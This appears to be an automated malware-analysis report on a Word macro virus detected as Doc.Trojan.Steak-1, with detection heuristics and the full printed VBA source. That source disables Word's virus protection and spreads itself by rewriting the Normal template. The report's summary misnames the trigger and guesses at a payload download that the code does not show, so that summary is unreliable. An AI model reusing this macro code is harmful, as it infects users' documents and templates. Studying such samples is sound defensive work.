MALICIOUS
180
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1566.001 Spearphishing Attachment
The sample is a malicious Office document containing VBA macros, specifically a Document_Open macro. The macro attempts to export its own code to 'c:\A1.sys' and then creates a new macro in 'c:\A1.inf' which it injects into the document. This injected code is designed to execute upon opening the document, likely to download and execute a secondary payload or establish persistence. The ClamAV detection 'Doc.Trojan.Steak-1' further confirms its malicious nature.
Heuristics 3
-
ClamAV: Doc.Trojan.Steak-1 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Trojan.Steak-1
-
VBA macros detected medium 1 related finding OLE_VBA_MACROSDocument contains VBA macro code
-
Document_Open macro high OLE_VBA_DOCOPENDocument_Open macro
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 1372 bytes |
SHA-256: 4d981484ea306a4f2cba4fc44fe4723b4dc6756901ee85e9359aec5b9da849f2 |
|||
|
Detection
ClamAV:
Doc.Trojan.Steak-1
Obfuscation or payload:
unlikely
|
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_Close()
Options.VirusProtection = (0 - 0): Options.ConfirmConversions = (1 - 1): Options.SaveNormalPrompt = (2 - 2)
ActiveDocument.VBProject.VBComponents.Item(1).Export "c:\A1.sys"
NT = NormalTemplate.VBProject.VBComponents.Item(1).Codemodule.CountOfLines
Set A1 = NormalTemplate.VBProject.VBComponents.Item(1)
A1.Codemodule.Deletelines 1, A1.Codemodule.CountOfLines
Open "c:\A1.inf" For Output As #1
Print #1, "Private Sub Document_Open()"
Print #1, "AD = ActiveDocument.VBProject.VBComponents.Item(1).codemodule.CountOfLines"
Print #1, "Set A1 = ActiveDocument.VBProject.VBComponents.Item(1)"
Print #1, "A1.Codemodule.Deletelines 1, A1.Codemodule.CountOfLines"
Print #1, "A1.Codemodule.AddFromFile (" & Chr(34) & "c:\A1.sys" & Chr(34) & ")"
Print #1, "A1.Codemodule.Deletelines 1, 4"
Print #1, "End Sub"
Close #1
A1.Codemodule.AddFromFile ("c:\A1.inf")
ActiveDocument.SaveAs FileName:=ActiveDocument.FullName
End Sub
'*.,.*.,.*.,.*.,.*.,.*.,.*.,.*.,.*.,.*'
'*~~A.1.~Steak~Sauce:~By~Lys~KovicK~~*'
'*~~~~~~~~~~(Publik~~Kopie)~~~~~~~~~~*'
'*;*;*;*;*;*;*;*;*;*;*;*;*;*;*;*;*;*;*'
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.